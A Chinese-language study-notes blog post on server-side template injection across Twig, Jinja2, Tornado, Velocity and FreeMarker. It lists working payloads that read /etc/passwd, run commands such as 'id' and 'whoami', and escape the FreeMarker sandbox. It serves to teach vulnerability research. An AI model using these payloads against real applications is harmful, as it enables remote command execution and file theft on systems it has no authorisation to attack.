跟着这个repo,简单梳理了下常见模板引擎的特征及利用方式。
https://gosecure.github.io/template-injection-workshop/
很少在实际测试中遇到ssti,大部分都是在拿到后台后,修改模板文件,造成后续的命令执行。很多cms可能采用自己的模板引擎(更容易出现漏洞,很多都会用eval偷懒完成各种操作)。
php
Twig(php)
1 | Hello {{ var }} |
Python
jinja2(Python Flask)
这可是老本行了1
2
3
4
5
6
7
8
9
10
11
12{{ message }}
{{ foo.bar }}
{{ foo['bar'] }} #两种方法都可以访问属性
{% print(123) %}
{{''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd","r").read()}}
# 主要使用类继承链来拿到沙盒中缺少的方法
python2里可以拿 site.Printer site.Quitter 找到 os
python3里有 os._wrap_close 直接拿os
都是在 __init__.__globals__ 找到os模块或模块里的popen组件
Tornado(Python Tornado)
第一次见应该是2018年的网鼎杯了,更多的是读取secret_key
来伪造cookie1
{{handler.settings}}
翻阅文档和尝试发现,Tornado的模板引擎中,保留了许多python的builtin函数。所以除了类继承链,他比flask简单很多。甚至还有下面的写法。1
2{%import os%}
{{os.popen("whoami").read()}}
Java
Velocity
具体的调试过程可以参考先知的两篇文章:
1 | #set($a ="velocity") |
Freemarker
另一个java常用的模板引擎
1 | ${message} |
该框架中,有built-ins函数的概念
https://freemarker.apache.org/docs/ref_builtins_expert.html1
boolean, byte, eval, new, api
有神奇的调用方式:1
2${nbAverageUsers}
${nbAverageUsers?abs}
api函数直接获得classloader,但需要api_builtin_enabled=TRUE
时才生效,而2.3.22版本之后默认false1
<#assign classLoader=object?api.class.protectionDomain.classLoader>
new函数,这样构造payload就比较简单,好在2.3.17版本开始,有这样的限制:1
2
3Configuration.setNewBuiltinClassResolver(TemplateClassResolver)
or
new_builtin_class_resolver=FALSE
直接的payload1
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
一些payload列举
利用api1
2
3
4
5
6
7
8
9
10
11
12
13
14eg1:
<#assign classLoader=object?api.class.getClassLoader()>
${classLoader.loadClass("our.desired.class")}
eg2:
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
利用new
主要是寻找实现了 TemplateModel
接口的可利用类来进行实例化。freemarker.template.utility
包中存在三个符合条件的类,分别为Execute
类、ObjectConstructor
类、JythonRuntime
类。1
2
3<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value> //@value为自定义标签
Freemaker逃逸沙盒
高版本中加入了黑白名单,限制了可以获取到的class。
爆破可以使用的classLoader函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20<#list .data_model as key, object_test>
<b>Testing "${key}":</b><br/>
<#attempt>
<#assign classloader=object_test.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
Shell ! (
${dwf.newInstance(ec,null)("id")}
)
<#recover>
failed
</#attempt>
<br/><br/>
</#list>
总结
ssti并非很复杂的漏洞,其中php和Python的模板引擎都较好理解与调试。Java的 Freemaker 模板引擎加入了class的黑白名单,在学一段时间的Java之后考虑回来调一调这个洞。
引用
逃逸安全的模板沙箱(一)——FreeMarker:
https://paper.seebug.org/1304/
CVE-2019-3396 Confluence Velocity SSTI漏洞浅析:
https://xz.aliyun.com/t/8135
template-injection-workshop
https://gosecure.github.io/template-injection-workshop/